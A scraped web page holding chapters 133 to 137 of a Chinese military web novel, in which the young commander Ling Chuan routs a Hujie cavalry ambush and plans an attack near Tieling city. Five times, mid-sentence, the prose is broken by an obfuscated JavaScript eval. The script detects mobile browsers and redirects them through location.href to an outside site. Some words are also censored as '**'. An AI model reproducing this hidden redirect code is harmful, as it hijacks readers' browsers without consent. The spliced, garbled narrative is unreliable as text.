三四月的北风,已经不那么刺骨,但风中的砂砾依旧让人睁不开眼。 据说,前朝烽烟际,素有人屠之称的一代兵仙率玄甲四十万,会猎北疆。时王庭十六部联兵六十万,铁骑遮天蔽日,王师势若累卵。 兵仙洞悉王庭联兵各怀鬼胎之弊,遣轻骑夜焚执失部粮草,伪作契苾降书诱使浑部内讧。待沙钵罗可汗惊觉时,十六部雄师已如断链珠盘,溃散于大漠风沙之中。 决战日,漠南原野忽起狼烟。但见中原玄甲军具装铁骑列锋矢阵自高坡俯冲,铠甲映成黑色洪流。三万枪兵如墙而进,斩马蹄裂重甲,血浪翻涌处竟垒尸成阜! 此役毕,王庭十六部伏尸三十里。腐胔浸透玄壤,经年凝作褚色坚岩。牧人谓之血原,百里内草芥不生。 每值朔风过野,嶙峋尸阜便发呜咽悲鸣,间杂金戈交击之声——恰似阵亡者永世鏖战不休。 不多时,前方出现一座烽燧,隐约间可见人影闪烁。 “什么人?” 一声大喝自烽燧之上传来,紧接着,便听到拉动弓弦的声音。 “我等乃是云州军,奉命借道支援铁鳞城!”孟钊大声回应道。 “一派胡言,我怎么没接到命令有人从这里借道?”烽燧之上出现六七道身影,一个个手持弓箭,将凌川等人瞄准。 “就是,咱们周军之中可没有这种铠甲,老实交代,你们到底是何人?” “再不说,我们可就放箭了!” “我乃云州云岚县校尉凌川,奉命前往铁鳞城支援,尔等若是再无礼阻拦,休怪我不念同袍之情!”凌川大声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948048|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说道。 若非念在同为达州边军的份上,凌川才懒得跟他们废话。 听到凌川这个名字,烽燧之上几名朔州边军神色一变,只见那名伍长对一名士兵使了个眼色,那士兵收起弓箭,迅速跑下烽燧查看。 “你真是凌川凌校尉?”那士兵单薄的衣衫外面套着一件破烂的皮甲,迅速跑到凌川前方十步位置,问道。 凌川也懒得废话,直接取下自己的校尉腰牌丢了过去。 那士兵双手接住腰牌,辨认了一番,随即转身对着烽燧方向,激动大喊道:“伍长,真的是凌校尉!” 听闻此言,烽燧之上几人迅速收起弓箭,一起跑了下来。 “果真是凌校尉,鬼哭岭李晖,带全伍兄弟,参见凌校尉,我等不知是您,还请见谅!”那名年龄约莫在五十岁左右,满脸风霜。 正所谓,伸手不打笑脸人,而且,看到几人的穿着破烂,坚守在如此恶劣的鬼哭岭,心中有气也消了大半。 “李老哥辛苦了,我等急于赶路,还请行个方便!”凌川对着几人抱拳说道。 “校尉大人请!”李晖带着几人推至一边,做了一个请的手势。 看着逐渐远去的队伍,李晖等人眼神中满是敬意。 凌川的大名,他们早有耳闻,这半年来,先后在狼烽口几次大败敌军,还斩杀了好几名敌军主将,从一个小小兵卒一跃成为了校尉。 他的事迹早已传遍北境七州,很多人都将其视为榜样。 凌川让万千兵卒看到了希望,只要敢杀敢拼,就能出人头地。 一名十五六岁的少年看着云岚军离开的方向,舔了舔干裂的嘴唇,问道:“伍长,我听人说凌校尉是天神下凡,是不是真的?” 李晖同样注视着那个方向,喃喃道:“如果真有天神的话,他一定是!” 离开鬼哭岭就算是出关了,继续往北便是一望无际的大草原,这让行军速度大大提升,只不过,凌川依旧让大家保持匀速前进,千万不能让战马脱力。 第133章 挂旗! 下午申时,草原上的枯草在夕阳下宛如金色麦浪,如果细看,会发现,一支支嫩芽正穿过枯草冒出来,为这片草原带来几分生机与希望。 一千五百余骑疾行在草原上,宛如一条黑龙。 忽然,聂星寒神色一变,只见他翻身下马,俯身在地贴耳倾听。 凌川见状连忙抬手示意队伍停止前进。 “东北方向,三千骑!”聂星寒沉声说道。 “还有多远?”凌川问道。 “不足五里!” 听到这话,凌川知道,对方是奔着自己来的,他想不明白,为何刚出关没多久便会遭遇敌人,但显然现在不是想这个问题的时候。 “全军列阵!” 凌川大喝一声,四标人马面朝东南方向一字排开,而唐岿然的三百重甲队立于队伍最前方,人马俱甲,每人手持一杆**,宛如一道钢铁城墙。 “挂旗!” 又是一声大喝,大牛迅速从皮囊中取出一面死字大旗,熟练地挂到旗杆之上。 大旗迎风招展,猎猎作响。 “全军听令,随我一起向东南冲杀!” 随着凌川一声令下,一千五百余骑便开始冲锋,虽然还没看见敌人,但杀气已经开始从每个士兵身上弥漫而出,然后迅速汇聚在一起,宛如滔天巨浪。 四里之外,一支三千人的胡羯骑兵也在朝着西北冲锋,领头千夫长乃是一位身形魁梧的壮汉,手持一根狼牙棒,率军冲锋。 昨夜,他接到情报,有一支周军会从此地路过,前往铁鳞城支援,他便在此守株待兔,静候对方出现,然后一举将其吃掉。 从情报来看,对方不过一千五百骑,自己就算出动一千骑,也能轻松将其吃干抹净。 之所以出动两倍于对方的兵力,便是想一锤定音,丝毫不给对方喘息的机会。 就在此时,一名亲兵指着前方,大喊道:“千夫长,你看!” 那千夫长抬眼看去,只见一面白旗出现在前方大地之上,并快速朝着他们这边靠近。 “呵呵,素闻周人有举白旗投降的习惯,莫不是自知逃不掉,果断选择投降?”壮汉咧嘴笑道,眼神中尽是不屑与嘲讽。 可紧接着,他脸上的笑容便快速凝固,因为他发现,那白旗下方一支跃马飞驰的骑兵逐渐显露出来,所有人擐甲执兵,杀气如潮,那明显是冲锋的姿态。 “周军何时这般有种了?”这名千夫长眼神中闪过一抹惊诧之色,原本是自己狩猎,不曾想,猎物竟然先一步 发起了**,这于他而言,无异于是赤裸裸的挑衅。 那就让这群两脚羊见识一下什么才是真正的骑兵,谁才是草原之主! “全军冲锋,杀光他们!千夫长大喝一声,率军冲了上去。 双方冲锋的情况下,四五里距离犹如近在咫尺。 此时,那名胡羯千夫长也终于看清对面白旗之上那个仿佛用鲜**写的血红色‘死’字。 与此同时,他还注意到,冲在最前方的赫然是一支重甲军,一个个手持**,身体紧贴着马背,虽然只有两三百骑,可散发出的气势却如千骑并进。 重甲军后方,是一名少年带领着一千多轻骑紧随其后。 “弓箭! 凌川沉着冷静下达命令,只见他身后所有轻骑同时举起手中的破甲弓,斜指前方的天空。 “放! 随着凌川吐出一个放字,所有人同时松开弓弦,将铁箭抛射出去,虽没有万箭横空的壮观画面,但一千多支箭依旧能带来巨大的压迫感。 那名胡羯千夫长箭对方三百步距离便开始放箭,不由得一声冷笑。 看来,领兵之人是个新兵蛋子,多半是周人那些贵族子弟,自恃读了几本兵书,就以为自己能带兵了。 “弓箭准备! 事实上,这也是骑战的精髓所在,双方相距一百五十步开始放箭,第一轮为抛射,第二轮为平射,第三轮为攒射。 三轮之后,双方便已近在咫尺,接下来便是近身搏杀。 然而,就在此时,成片的破空声传来,只见对方射向上空的铁箭呼啸而下,直接落向他们队伍的前军。 千夫长脸色剧变,他简直不敢相信,周军的箭竟然能射这么远,这怎么可能? 尽管对方采用抛射,再加上双方处于冲锋状态,虽然在三百步开弓,但箭真正的射程只有两百来步,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948049|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这依旧无比惊人了。 “噗噗噗…… 那是利箭射穿身体的声音。 一声声闷哼与惨叫自周围传来,身边一道道身影中箭,跌**背。 千夫长脸色剧变,大喝一声:“盾牌手,上前! 然而,队伍本就处于冲锋状态,盾牌手虽然第一时间行动,但一时半会根本无法从阵营中赶至前方。 可就在此时,对面的第二轮平射已经到来。 “咻咻咻…… 平射的箭速更快,杀伤力也更大,一排排铁箭横飞而来, 无疑是致命的。 胡羯骑兵的骑战之术闻名天下,面对这种情况根本不需要提醒,所有人第一时间趴在马背上。 可前军虽然避开了这一轮箭雨,后方的骑兵就没那么幸运了,甚至于他们看到箭雨飞来,连躲避的地方都没有,只能用兵器或者盾牌抵挡。 但只有少量士兵配置了盾牌,大多数人只能用兵器。 “啊,啊……” 成片惨叫声在队伍中炸开,随着大批士兵跌**背,战马失去控制,也变得骚乱起来,阻挡了后面骑兵的冲锋。 “放箭!” 凌川再次下令,开启第三轮攒射。 三轮箭雨,让胡羯一方损失惨重,至少有四五百人跌**背,近千人受伤。 有经验的老兵都知道,这种情况下,哪怕是被射中要害,也要死死抓住缰绳让身体紧贴在马背上,不让自己跌落,否则,一旦**将必死无疑。 三轮箭雨之后,云岚军纷纷收起破甲弓,然后迅速拔出腰间的苍生刀,只有一个人没有收弓,那就是聂星寒。 那名胡羯千夫长脸上再无之前的嚣张与蔑视,取而代之的是震惊与恐惧。 忽然,他瞳孔猛然收缩,再次看向那面绣着‘死’字的白色大旗,不由得想起了几个月前的狼烽口之战。 “死字旗,死字营,他是凌川!”那名千夫长大喝道。 听闻此言,所有胡羯士兵脸色剧变,凌川这个名字,在胡羯军营中太响亮了,这个少年不到半年时间,几次挫败胡羯军,斩杀了好几位胡羯将领,几乎是踩着一具具胡羯将领的尸体迅速崛起。 第134章 重甲碾压! “杀!” 唐岿然一声暴吼三百重甲骑兵立马起身紧握着手中**朝着前方的胡羯骑兵阵营冲去。 经过这数里的蓄力胯下战马的速度已经提升到了极致反观胡羯阵营被三轮箭雨阻挡不仅速度慢了下来阵型也一片松散。 “阵型不要乱给我挡住他们!”那名千夫长大声吼道。 在他的提醒下后方士兵迅速上前将那一个个空位补齐 一道道沉闷的声响三百重骑宛如一条笔直的钢铁浪潮直接碾压上来在恐怖的速度加持下冲击力也达到了一个骇人的地步。 不过刹那间胡羯阵营直接被撞得人仰马翻。 与此同时三百重甲兵手中**一起刺出动作整齐划一将前方一名名敌人的身体刺穿。 紧接着三百人迅速收回**再次蓄力刺出。 之前训练之时凌川便要求重甲队除了日常训练之外着重对冲阵进行训练冲阵的要诀之一便是始终保持队伍整齐只有这样才能形成碾压之势。 “嗤嗤嗤……” 三百匹被铁甲覆盖的战马宛如一头头怪兽迎面冲来。 三百名魁梧士兵面甲遮脸看不清面容只有那一双双冰冷的眼神将前方的敌人锁定。 三百杆**裹挟着杀意宛如死神的獠牙笔直刺出一遍又一遍! “给我抵住不许退!”那名胡羯千夫长暴吼一声。 只见他身体一偏避开了迎面刺来的**紧接着抡起手中狼牙棒径直砸在一名重甲兵的肩膀。 “砰……” 那名重甲兵肩甲凹陷整个人直接横飞出去。 “给我死!” 千夫长怒声大喝正要带头冲杀忽然一道魁梧身影挡在他的前面。 他看不清对方的面容可对方身上散发出的恐怖气势却让他为之忌惮。 来人不是别人正是唐岿然。 只见他手中滴血**笔直刺出直取对方胸口那名胡羯千夫长冷哼一声挥动手中狼牙棒将其荡开。 “当……” 伴随着一道金石撞击声双方硬碰一击那名千夫长只感觉双臂发麻虎口裂开鲜血直流。 然而唐岿然**一抖又是一枪横扫而来那名千夫长再次举起狼牙棒抵挡然而这一次他就没那么幸运了恐怖的力量震得他手中狼牙棒都拿捏不稳。 “嗤……” 唐岿然第三枪接踵而至直接刺穿他的胸膛将其挑飞马背。 仅用了三招这名胡羯千夫长便被一枪挑死。 那一众亲兵脸色剧变看向唐岿然的目光仿佛是看见了魔鬼。 然而唐岿然根本没有理会他们继续带着队伍朝前冲杀。 所过之处胡羯阵营皆是人仰马翻惨叫连连不断有人被**刺中跌**背也有人试图拔出弯刀反击奈何弯刀太短根本伤不到对方。 就这样三百重甲兵势不可挡一头凿进敌军阵营中。 所有人始终保持步伐一致动作一致面甲之下是一双双坚定的眼神他们心里很清楚现在才是对他们真正的考验。 必须一鼓作气将敌方阵营杀穿一旦泄气将如马陷泥潭最终的结果就是被敌人合围一点点蚕食殆尽。 好在敌军主将已死队伍的士气也被他们一举击溃很难在短时间内组织有效反击。 失去了指挥的胡羯士兵宛如一盘散沙别说是反击了连防御阵型都全部抛之脑后一心只想着避开迎面碾压上来的重甲兵纷纷朝着两旁逃窜。 然而就在此时凌川也带着四标轻骑杀了上来。 “甲标、丁标两侧包抄乙标、丙标随我杀上去!”凌川手中战刀直指前方果断下达命令。 “杀……” 一声大吼宛如惊雷炸响那面死字大旗撕裂天空猎猎作响。 经过重骑兵的一轮碾压之后胡羯阵营早已是七零八落剩下那些胡羯士兵更是被吓破了胆面对三面合围而来的云岚军他们根本没有抵抗之力。 一把把苍生刀闪烁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948050|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着寒芒对胡羯士兵展开收割。 对就是收割就跟田间收麦子一样。 不少胡羯士兵手持弯刀与之对抗然而一番碰撞之下他们手中的弯刀纷纷折断就算没有断开也都被苍生刀劈出一道道豁口宛如锯齿一般。 这让他们内心的恐惧又加深了几分。 要知道近些年来 可这一次他们引以为傲的弯刀在对方的战刀面前竟是如此的不堪一击。 凌川一马当先手中战刀横劈竖斩所过之处不断有敌人倒下。 聂星寒不断弯弓搭箭每一箭射出都能精准干掉一名敌人。 大牛扛着旗杆紧跟在凌川身后 从始至终一言不发,但却从未落后半步。 两侧,洛青云的甲标和轩辕孤鸿的丁标迅速对敌军形成了合围之势,那些好不容易从阵型中撤至两旁的胡羯士兵,本以为脱离了重甲兵的碾压,可他们还来不及松一口气,大批轻甲兵再一次杀了上来。 面对这种局面,那些胡羯士兵的脸上写满了绝望。 就在这时,聂星寒再次弯弓搭箭,不过,这一次并非是射向敌人,而是瞄准了敌军阵营中那杆摇摇欲坠的狼旗。 “咻!” 一道尖锐的破空声传来,旗杆直接被洞穿,紧接着应声断裂。 这是凌川专门给聂星寒设计的一种铁箭,与普通铁箭不同的是,在箭尾部分加了两道锋矢,随着铁箭穿过旗杆,就算没有当场断裂,后面的两条锋矢也会将其割断。 随着将旗掉落,胡羯一方的最后一口气也被打散,所有人彻底没了抵抗之心,只想着逃命。 一众亲兵分列凌川左右及身后,宛如一支巨型箭矢,直插向前。 战斗至此,虽然三千余胡羯士兵还剩下一千人,但战斗已经没有任何悬念,这一千余胡羯士兵,对于他们来说,不过是一千多具稻草人。 与稻草人唯一不同的是,砍下他们的脑袋,能换取军功。 第135章 云岚军首战告捷! 就在凌川等人离开鬼哭岭不到一个时辰一名巡边的士兵风尘仆仆返回鬼哭岭。 “伍长东南方向出现大批胡羯骑兵足有三千人!” 众人闻言神色顿时一变伍长李晖连忙问道:“距离此地还有多远?” 那名士兵累得上气不接下气摆了摆手说道:“不是朝着咱们这边来的而是朝着西北方向而去!” 听到这话几人顿时松了一口气其中一人走上前一拳砸在他肩膀上。 “田娃你**就不能一口气说完吗?都吓死哥几个了!” 唯有伍长李晖神色凝重忽然他目光一凝“不好!他们是冲着云岚军去的!” 听到伍长这话几人刚放下的一颗心再次提到了嗓子眼一名士兵问道:“伍长怎么办?咱们这几个人就算赶过去也无济于事啊!” 李晖转身对一名年轻士兵说道:“柱子你马上出发去给凌校尉报信让他们做好迎敌的准备!” “伍长凌校尉带领的云岚军不过一千五百人可胡贼有足足三千骑兵而且这茫茫草原没有地势可借就算提前准备能打得过吗?”名叫柱子那名士兵问道。 “那不是咱们需要考虑的问题你只管去传信!”李晖强调道。 其实他还有下半句没说那就是云岚军就算打不过提前得到消息 柱子没在多问带上战刀和水壶骑着战马便火速出关顺着云岚军沿途的足迹追了上去。 这一路上柱子不敢有丝毫耽搁甚至连战马都跑得口吐白沫了他也不敢停下来。 铁柱伏在马背上抚摸着它的脖子“伙计我知道你很累但情况万分紧急求你再坚持一会回头我给你找最好的精料给你找最漂亮的母马!” 战马似乎听懂了它的话吭哧吭哧打着响鼻显然是在**。 “哦忘了你本来就是母的……” 忽然一股浓烈的血腥味弥漫而来战马变得焦躁不安铁柱更是肚子一阵翻江倒海险些吐出来。 他内心猛然一紧莫非自己来晚了云岚军已经…… “扑通……” 战马也终于到了极限一头栽倒铁柱被甩出去老远但他顾不得身体的疼痛连忙爬起来朝前跑去。 当他冲上前方低矮的土丘顿时目光炸裂整个人呆滞在原地。 引入眼帘的是满地尸体鲜血将金灿灿的枯草染得鲜红一片远远望去宛如绣在锦缎 之上的红牡丹。 柱子虽然是边军,也曾与胡羯人交过手,但何曾见过如此惨烈的场面,整个人僵在原地,无法动弹。 忽然,他注意到,那面死字大旗在上空飘扬,这让他仿佛看到了一丝希望。 紧接着,他发现,场中那些正在打扫战场的士兵,赫然是云岚军,因为他们的铠甲实在是太特别了,上午路过鬼哭岭的时候,兄弟们还在跟伍长说,要是这辈子能穿上这种铠甲,便知足了。 柱子猛然醒悟过来,是自己想错了,并非云岚军全军覆没,而是云岚军全歼了这支三千人的胡羯骑兵。 他整个人仿佛被抽干了所有力气,身体一下子松弛了下来,一屁股坐在地上,大口喘气。 结果颠倒过来,可他内心的震撼却比之前更甚数倍。 一千五百云岚军,全歼了三千胡羯铁骑,如此辉煌的战绩,简直令人难以置信。 许久之后,他才站起身来,朝着战场走去。 刚一靠近,便有人发现了他,一名士兵举起破甲弓将其锁定。 “别……别误会,我是鬼哭岭的朔州军!”柱子连忙自报身份。 那名云岚军走近之后,也认出了他,说道:“原来是鬼哭岭的兄弟,你怎么来了?” “我,我来给你们报信,现在看来,似乎不必了!” “哈哈,走我带你见标长去!”那名云岚军带着他走进战场,一路上,到处都是胡羯人的尸体,脚踩在枯草上,都会挤出大量鲜血。 此时,凌川正与几位标长在一起,听到那名士兵的禀报之后,凌川示意他把柱子带过来。 “鬼哭岭烽子王二柱,见过校尉大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948051|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,见过几位标长!”柱子单膝跪地行礼。 “柱子兄弟不必多礼,你这么风尘仆仆赶来,所为何事?”凌川问道。 柱子将他们巡边兄弟发现胡羯骑兵,以及伍长李晖让他前来传信的消息说了一遍。 凌川点了点头,感激道:“替我谢谢李老哥以及鬼哭岭的众位兄弟。” 柱子连连摇头,随后鼓起勇气问道:“校尉大人,那三千胡羯骑兵,都被你们杀了?” 凌川点了点头,说道:“一个都没跑掉!” 听到这话,柱子差点没被吓死。 “我们略作修整便要继续赶路,你回去告诉你们伍长,让他带人来收战利品吧!” “啊?都给我们?”柱子一脸震惊,随即连连摆手,说道:“大人,咱们鬼哭岭就十来个兄弟,用不了这么多,而且,这是你们的战利品,应该归你们才对!” 凌川对这个朴质少年也很有好感,说道:“我们要忙着赶路,这些东西带着也是累赘,更何况,大家都是边军,哪分什么你我?” 柱子连连道谢,随后换了一匹胡羯人的战马,火速赶回鬼哭岭报信。 而凌川这边,让大家打扫战场之后便原地休整,半个时辰后继续出发。 其实,打扫战场也不过是收回己方的铁箭,至于敌人的尸体,根本没时间去处理,只能留给柱子带人来处理了。 “各标战损统计出来了吗?”凌川对几位标长问道。 “重甲队战死七人,十二人受伤!”唐岿然率先汇报。 “甲标战死五人,十五人受伤!” “乙标战死三人,七人受伤!” “丙标战死一人,八人受伤!” “丁标战死四人,九人受伤!” 这一战,共计战死二十人,五十一人受伤,如此惊人的战绩,就算是放眼历史,也绝对是前无古人的存在。 不说别人,各标标长刚才听到下面人报出这个战损的时候,都怀疑自己是不是听错了,立马让人去复核了一遍。 第136章 必死之局! 尽管之前交战之时呈现出了一边倒的趋势,但,他们也没想到战损比会达到如此骇人听闻的地步。 并非他们不自信,而是如此惊世骇俗的战绩,哪怕是亲身经历也觉得是天方夜谭。 近十年来,北疆边军与胡羯军的交手中,战损比均是在五比一左右,能达到三比一就算是非常不错了,更有甚者达到了惊人的二十比一。 可就在刚才,他们以一千五百人,将三千余胡羯骑兵杀得一个不剩,而己方仅仅只有二十人战死。 这是他们云岚军真正意义上的首战,而这场辉煌的胜利,无疑为这支‘新兵’塑造了无敌信心。 之所以能取得如此惊世骇俗的战绩,除了他们有锋利的战刀和坚固的铠甲之外,跟日常的刻苦训练也息息相关,这一刻,他们终于明白,凌川当日在云岚校场的那番话。 ‘练时多流汗,战场少流血!’ ‘今日的每一份付出,都是你们活着走下战场的保障!’ 当然,此战能以毫无悬念的碾压之势获胜,与凌川的布局指挥以及各标的密切配同样合密不可分,但凡有一个环节跟不上,都不可能有这个结果。 尽管战绩异常耀眼,可在听到有二十位兄弟战死之后,凌川内心还是不免有些沉重。 “受伤的人全部留下,一是轻伤照顾重伤的兄弟,二是将战死兄弟的尸体带回云岚!凌川对几位标长说道:“等鬼哭岭的边军到了,一起返回关内! “是! 几人齐声回答道。 半个时辰之后,队伍再次起程,凌川将胡羯人留下的战马均分各标,除了确保一人双骑之外,还用多出来的一百多匹战马托运粮草物资。 毕竟,负甲行军会增加士兵们的体能消耗,同样,长时间下来,战马也吃不消,特别是重甲兵,那一身重甲重达五六十斤,除了冲锋之外,休整之时都会卸甲。 如今,一人双骑,一匹马载人,一匹马托着兵甲,行军速度也提升了不少。 天色渐晚,他们却没有停歇,按照此前的命令,他们必须在天亮之前抵达铁鳞城外。 现在距离铁鳞城还有一百余里,虽然草原上夜间行军也不会受到太大影响,但,一夜行军一百里,可不是一件轻松的事情。 这次不同于上次的驰援狼烽口。 一方面,上次是被逼无奈,他们是挽救狼烽口的唯一希望,再则当时他们赶到狼烽口的时候,敌军也已经出现疲态,又打了敌人一个措手不及,这才获胜。 可这一 次,他们面对的可是胡羯的三万大军,就算天亮之前能赶到,也必然是人困马乏,这种情况下与敌军开战,无异于取死之道。 但,真正让凌川担心的则是另外一个问题。 事实证明,宋景传令让自己从鬼哭岭借道出关,并非战术上的安排,而是想要坑死自己。 要不然,怎么会那么巧合,刚出关没多久就会遇到三千人的胡骑?凌川可以肯定,那绝非是偶遇,而是对方专程在那里等自己。 就算是傻子都知道,肯定是有人泄露了自己的行军信息,至于是章绩还是宋景或汪岐,凌川懒得去想,因为,这已经不重要了。 基于这次事件,凌川更加坚信,那三千胡骑只是对方阴招的开始,而非结束。 自己若是按照军令,天亮之前赶至铁鳞城外,极有可能会立马遭到胡羯大军的**。 就算没有,一旦开打,城内迟迟不出兵,用不了多久,云州军将会**羯三万大军吃得渣都不剩。 如此一来,不但除掉了自己,事后还能不留痕迹地将一切归结于正常战损。 可如果自己不依令行事,回头对方便可以不尊军令为由,拿自己开刀问罪。 这,似乎就是一个死局。 凌川这一路上,都在思索破局之法。 同样,他也在等,等一个消息。 终于,亥时刚过,前方出现马蹄声,从声音判断,应该是单骑。 孟钊立马带着几名亲兵冲上前去,“来者何人,速速止步!” “是我!” 一道熟悉的声音传来,紧接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15948052|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那道身影在数十步外翻身下马,朝着这边跑来,正是纪天禄。 “校尉大人!”纪天禄一路风尘仆仆,满脸疲惫。 凌川让队伍原地休整,随即翻身下马,来到纪天禄身边。 “辛苦了!”凌川拍了拍他的肩膀说道。 纪天禄咧嘴一笑,摇头道:“不辛苦!” 正要说话,凌川将一支酒壶递了过去,“少喝点!” 纪天禄扯开塞子便往嘴里灌了一口狼血,这才说道:“属下查清楚了,铁鳞城外原本有三万大军,可昨天日落之前,陆续撤走了大半,剩下的大多为辅兵,真正的战兵不过六千多!” 听闻这个消息,凌川眉毛一挑,问道:“他们的主力大军撤往何处?” “往西面!” 凌川内心顿时一惊,因为西面正是阑州方向,看来,之前的猜测多半成真,胡羯攻打朔州只是一个幌子,其目的是将关内能用的可战之兵全部吸引过来,来一招调虎离山。 等时机成熟,他们再抽身而退,对老龙口或朝天垭发起进攻。 现在看来,他们选择了阑州的朝天垭,想到陈暻垚正在阑州,凌川不由得担心起来。 “你的人现在何处?”凌川对纪天禄问道。 “正在十里外休整!”纪天禄回答道。 “你立马挑几个机灵的兄弟,火速赶往阑州给陈暻垚传信,如果不出意外的话,胡羯大军的真正目标是阑州!”凌川对纪天禄说道。 后者点了点头,说道:“属下这就去办!” 临行前,他将一张折叠起来的地图交给凌川,说道:“这是铁鳞城外胡羯军的布防图,现在虽然主力军都撤走了,但所有营帐原封不动,甚至还在一些空帐跟前点起了篝火!” 凌川点了点头,说道:“那不过是故布疑阵,为主力军撤退打掩护而已!” 纪天禄上马离开,而凌川则是打开这幅地图研究了起来,地图虽然画得很粗糙,但该有的信息一个都不曾遗漏,这也是之前凌川训练斥候队的时候,让他们每个人都要学习的基础技能。 第137章 延误军机! 早在一个月之前凌川便让纪天禄秘密带着斥候队离开云岚县来到关外。 一方面是让他们以此作为训练提升个人能力和队伍的综合实力而另一方面凌川很清楚大战不久就会开打让斥候队先到关外收集一些情报。 如今看来凌川当时的决定非常明智。 按照约定纪天禄每十天会派人与凌川联络一次将重要情报传到凌川手中同时凌川也会将一些指令传递给纪天禄。 上次的命令中凌川便让纪天禄带着斥候队赶往铁鳞城外尽可能探查敌军的情报但对于这支新组建的斥候队凌川也没有过高要求让他们首先保证自身的安全。 纪天禄的斥候队中有十来人曾经都是经验丰富的老斥候其余的大多为新手不过凌川给他们设计的训练项目非常有针对性就算是纪天禄这种老斥候见了也都连连称奇。 此次行动这支百人斥候队查出的情报远超凌川的预料但也正是因为他们提前去往铁鳞城外才没有发现鬼哭岭外那支三千人的胡骑。 “苍蝇把各标标长都叫过来议事!” 很快几位标长赶来凌川将情况说了一遍之后众人不由得感叹凌川料事如神竟然早就看出了胡羯人的意图。 “大人现在咱们怎么办?”卫敛问道。 “你们觉得呢?”凌川看着众人问道。 “如果铁鳞城外只剩下六千胡羯军以及一些辅兵的话铁鳞城的危机算是解除了!只是接下来阑州将要承受更大的压力!” “要不咱们直接追上胡羯主力军从背后捅他们一刀就算不能将其重创也能延缓其支援阑州!”薛焕之说道。 此言一出立马遭到了唐岿然的反对“不行现在人家正愁拿不到咱们的把柄要是擅自行动对方正好可以给咱们扣上罪名!” 凌川点了点头说道:“唐大哥说得对铁鳞城咱们肯定是要去的同样阑州之战咱们也要参与!” 听闻此言众人神色皆是为之一变隐约间已经猜到了凌川的想法。 只见凌川将纪天禄提供的布防图缓缓展开说道:“现在铁岭城外只有六千余胡羯军和三四千辅兵大多营帐皆为空帐咱们如果布置得当将他们全部吃掉也不是没可能!” 这个想法很大胆也很疯狂。 要是其他人听到 可几名标长脸上并无太多惊讶之色这不仅是出于对凌川的信任 更是出于对他们这支军队实力的信任。 片刻后,凌川召集队伍再次出发,只不过,这一次他们的行军速度放慢了很多。 就在刚才,凌川与几位标长制定了全新的作战计划,天亮之前赶到距离铁鳞城三十里外的红枫原,然后全军休整。 从时间上看,此时云州那一万援军应该已经抵达铁鳞城,但是,只要自己没动,他们就肯定不会出兵,之前所说的以城内烽火为讯,也不过是说给自己听的。 凌川几乎可以肯定,明日天亮之时,城内定然会燃起烽火,但肯定不会配合出兵,而是在城内观望,等自己这一千多人冲入敌军阵营,快要死光的时候,他们再杀出来收拾残局。 所以,凌川决定先到红枫原休整,此举虽说是违抗军令,但真要追查起来,自己完全可以与在途中遭遇三千胡骑,与之激战导致延误军机为由。 毕竟,这件事经不起追查,无论是宋景还是汪岐都不会揪着辫子不放。 纪天禄已经带着斥候队先行,而凌川等人也在天亮之前赶到了红枫原。 红枫原位于铁鳞城外三十里处,因一片十里长的红枫林而得名,此地本是大周疆域,前不久才**羯人攻破。 这片红枫林沿着一条小河生长,如今,成片红枫只是吐出了几缕新芽,好在小河逐渐恢复了水量,让得战马可以喝水洗鼻。 安排好人替换巡防之后,便让全军休整。 不过,此地距离敌军大营不远,为了不被敌人的巡防游骑发现踪迹,他们没办法生火做饭,只能吃干粮。 